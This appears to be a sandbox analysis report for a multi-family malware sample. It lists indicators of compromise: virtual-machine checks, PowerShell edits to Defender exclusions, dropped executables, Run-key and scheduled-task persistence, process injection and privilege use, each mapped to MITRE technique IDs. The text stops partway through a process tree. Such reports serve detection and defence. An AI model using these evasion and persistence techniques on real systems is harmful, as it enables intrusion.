f2e760006ad42d7f41b953c2f3d6059e8d4ae39101ff10b7558c7db0316c2622

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
24	4448	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2356	powershell.exe
4232	powershell.exe
204	powershell.exe
3080	powershell.exe
4168	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4188	takeown.exe
2380	icacls.exe
1356	icacls.exe

Executes dropped EXE 8 IoCs

pid	Process
5896	Win-v43.exe
3728	Win-v42.exe
3432	svchost.exe
5152	svchost.exe
1984	PNwtmDzW.exe
4448	cmd.exe
4240	svchost.exe
2420	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
2380	icacls.exe
1356	icacls.exe
4188	takeown.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	api64.ipify.org
7	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1948	powercfg.exe
564	powercfg.exe
1880	powercfg.exe
2444	powercfg.exe
2432	powercfg.exe
5808	powercfg.exe
4160	powercfg.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\System32\Win-v42.exe	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4880 set thread context of 3432	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	138
PID 4880 set thread context of 5152	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	142
PID 4880 set thread context of 4448	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	144
PID 4880 set thread context of 4240	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	145

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0aoyzl0v.edb.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_q0ingmtg.fyp.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jnrmnwu2.xrl.ps1	powershell.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vprplqea.ubq.psm1	powershell.exe
File created	C:\Windows\Win-v41.exe	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2344	cmd.exe
5484	cmd.exe
2916	cmd.exe
5124	cmd.exe
5908	cmd.exe
468	cmd.exe
2136	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2136	cmd.exe
2704	PING.EXE

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
2344	cmd.exe
5484	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2704	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3156	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2356	powershell.exe
2356	powershell.exe
4232	powershell.exe
4232	powershell.exe
204	powershell.exe
204	powershell.exe
5896	Win-v43.exe
5896	Win-v43.exe
3728	Win-v42.exe
3728	Win-v42.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
1984	PNwtmDzW.exe
1984	PNwtmDzW.exe
1984	PNwtmDzW.exe
1984	PNwtmDzW.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
4168	powershell.exe
740	winlogon.exe
740	winlogon.exe
2420	Win-v41.exe
2420	Win-v41.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5392	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeIncreaseQuotaPrivilege	2356	powershell.exe
Token: SeSecurityPrivilege	2356	powershell.exe
Token: SeTakeOwnershipPrivilege	2356	powershell.exe
Token: SeLoadDriverPrivilege	2356	powershell.exe
Token: SeSystemProfilePrivilege	2356	powershell.exe
Token: SeSystemtimePrivilege	2356	powershell.exe
Token: SeProfSingleProcessPrivilege	2356	powershell.exe
Token: SeIncBasePriorityPrivilege	2356	powershell.exe
Token: SeCreatePagefilePrivilege	2356	powershell.exe
Token: SeBackupPrivilege	2356	powershell.exe
Token: SeRestorePrivilege	2356	powershell.exe
Token: SeShutdownPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeSystemEnvironmentPrivilege	2356	powershell.exe
Token: SeRemoteShutdownPrivilege	2356	powershell.exe
Token: SeUndockPrivilege	2356	powershell.exe
Token: SeManageVolumePrivilege	2356	powershell.exe
Token: 33	2356	powershell.exe
Token: 34	2356	powershell.exe
Token: 35	2356	powershell.exe
Token: 36	2356	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeIncreaseQuotaPrivilege	4232	powershell.exe
Token: SeSecurityPrivilege	4232	powershell.exe
Token: SeTakeOwnershipPrivilege	4232	powershell.exe
Token: SeLoadDriverPrivilege	4232	powershell.exe
Token: SeSystemProfilePrivilege	4232	powershell.exe
Token: SeSystemtimePrivilege	4232	powershell.exe
Token: SeProfSingleProcessPrivilege	4232	powershell.exe
Token: SeIncBasePriorityPrivilege	4232	powershell.exe
Token: SeCreatePagefilePrivilege	4232	powershell.exe
Token: SeBackupPrivilege	4232	powershell.exe
Token: SeRestorePrivilege	4232	powershell.exe
Token: SeShutdownPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeSystemEnvironmentPrivilege	4232	powershell.exe
Token: SeRemoteShutdownPrivilege	4232	powershell.exe
Token: SeUndockPrivilege	4232	powershell.exe
Token: SeManageVolumePrivilege	4232	powershell.exe
Token: 33	4232	powershell.exe
Token: 34	4232	powershell.exe
Token: 35	4232	powershell.exe
Token: 36	4232	powershell.exe
Token: SeIncreaseQuotaPrivilege	4232	powershell.exe
Token: SeSecurityPrivilege	4232	powershell.exe
Token: SeTakeOwnershipPrivilege	4232	powershell.exe
Token: SeLoadDriverPrivilege	4232	powershell.exe
Token: SeSystemProfilePrivilege	4232	powershell.exe
Token: SeSystemtimePrivilege	4232	powershell.exe
Token: SeProfSingleProcessPrivilege	4232	powershell.exe
Token: SeIncBasePriorityPrivilege	4232	powershell.exe
Token: SeCreatePagefilePrivilege	4232	powershell.exe
Token: SeBackupPrivilege	4232	powershell.exe
Token: SeRestorePrivilege	4232	powershell.exe
Token: SeShutdownPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeSystemEnvironmentPrivilege	4232	powershell.exe
Token: SeRemoteShutdownPrivilege	4232	powershell.exe
Token: SeUndockPrivilege	4232	powershell.exe
Token: SeManageVolumePrivilege	4232	powershell.exe
Token: 33	4232	powershell.exe
Token: 34	4232	powershell.exe
Token: 35	4232	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4448	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 2356	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	89
PID 4880 wrote to memory of 4232	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	92
PID 4880 wrote to memory of 204	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	94
PID 4880 wrote to memory of 3156	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	96
PID 4880 wrote to memory of 2916	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	98
PID 2916 wrote to memory of 480	2916	cmd.exe	100
PID 4880 wrote to memory of 5124	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	102
PID 5124 wrote to memory of 4188	5124	cmd.exe	104
PID 4880 wrote to memory of 5908	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	105
PID 5908 wrote to memory of 2380	5908	cmd.exe	107
PID 4880 wrote to memory of 468	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	110
PID 468 wrote to memory of 1356	468	cmd.exe	112
PID 4880 wrote to memory of 5808	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	116
PID 4880 wrote to memory of 4160	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	122
PID 4880 wrote to memory of 1948	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	124
PID 4880 wrote to memory of 564	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	126
PID 4880 wrote to memory of 1880	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	128
PID 4880 wrote to memory of 2444	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	130
PID 4880 wrote to memory of 2432	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	132
PID 4880 wrote to memory of 2136	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	134
PID 2136 wrote to memory of 2704	2136	cmd.exe	136
PID 4880 wrote to memory of 3432	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	138
PID 2344 wrote to memory of 3080	2344	cmd.exe	140
PID 4880 wrote to memory of 5152	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	142
PID 5152 wrote to memory of 1984	5152	svchost.exe	143
PID 4880 wrote to memory of 4448	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	144
PID 4880 wrote to memory of 4240	4880	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	145
PID 5484 wrote to memory of 4168	5484	cmd.exe	147
PID 4168 wrote to memory of 740	4168	powershell.exe	5
PID 740 wrote to memory of 964	740	winlogon.exe	9
PID 740 wrote to memory of 972	740	winlogon.exe	10
PID 740 wrote to memory of 1000	740	winlogon.exe	11
PID 740 wrote to memory of 1032	740	winlogon.exe	13
PID 740 wrote to memory of 1116	740	winlogon.exe	14
PID 740 wrote to memory of 1196	740	winlogon.exe	15
PID 740 wrote to memory of 1264	740	winlogon.exe	16
PID 740 wrote to memory of 2420	740	winlogon.exe	149
PID 740 wrote to memory of 1324	740	winlogon.exe	17
PID 740 wrote to memory of 1340	740	winlogon.exe	18
PID 740 wrote to memory of 1536	740	winlogon.exe	22
PID 740 wrote to memory of 1616	740	winlogon.exe	23
PID 740 wrote to memory of 1624	740	winlogon.exe	24
PID 740 wrote to memory of 1692	740	winlogon.exe	25
PID 740 wrote to memory of 1780	740	winlogon.exe	26
PID 740 wrote to memory of 1796	740	winlogon.exe	27
PID 740 wrote to memory of 1960	740	winlogon.exe	28
PID 740 wrote to memory of 2012	740	winlogon.exe	29
PID 740 wrote to memory of 1488	740	winlogon.exe	30
PID 740 wrote to memory of 2092	740	winlogon.exe	31
PID 740 wrote to memory of 2112	740	winlogon.exe	32
PID 740 wrote to memory of 2188	740	winlogon.exe	33
PID 740 wrote to memory of 2248	740	winlogon.exe	34
PID 740 wrote to memory of 2324	740	winlogon.exe	35
PID 740 wrote to memory of 2412	740	winlogon.exe	36
PID 740 wrote to memory of 2492	740	winlogon.exe	37
PID 740 wrote to memory of 2524	740	winlogon.exe	38
PID 740 wrote to memory of 2656	740	winlogon.exe	39
PID 740 wrote to memory of 2664	740	winlogon.exe	40
PID 740 wrote to memory of 2808	740	winlogon.exe	41
PID 740 wrote to memory of 2820	740	winlogon.exe	42
PID 740 wrote to memory of 2832	740	winlogon.exe	43
PID 740 wrote to memory of 3060	740	winlogon.exe	44
PID 740 wrote to memory of 3096	740	winlogon.exe	46
PID 740 wrote to memory of 3108	740	winlogon.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:964
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1196
- C:\Windows\Win-v41.exe
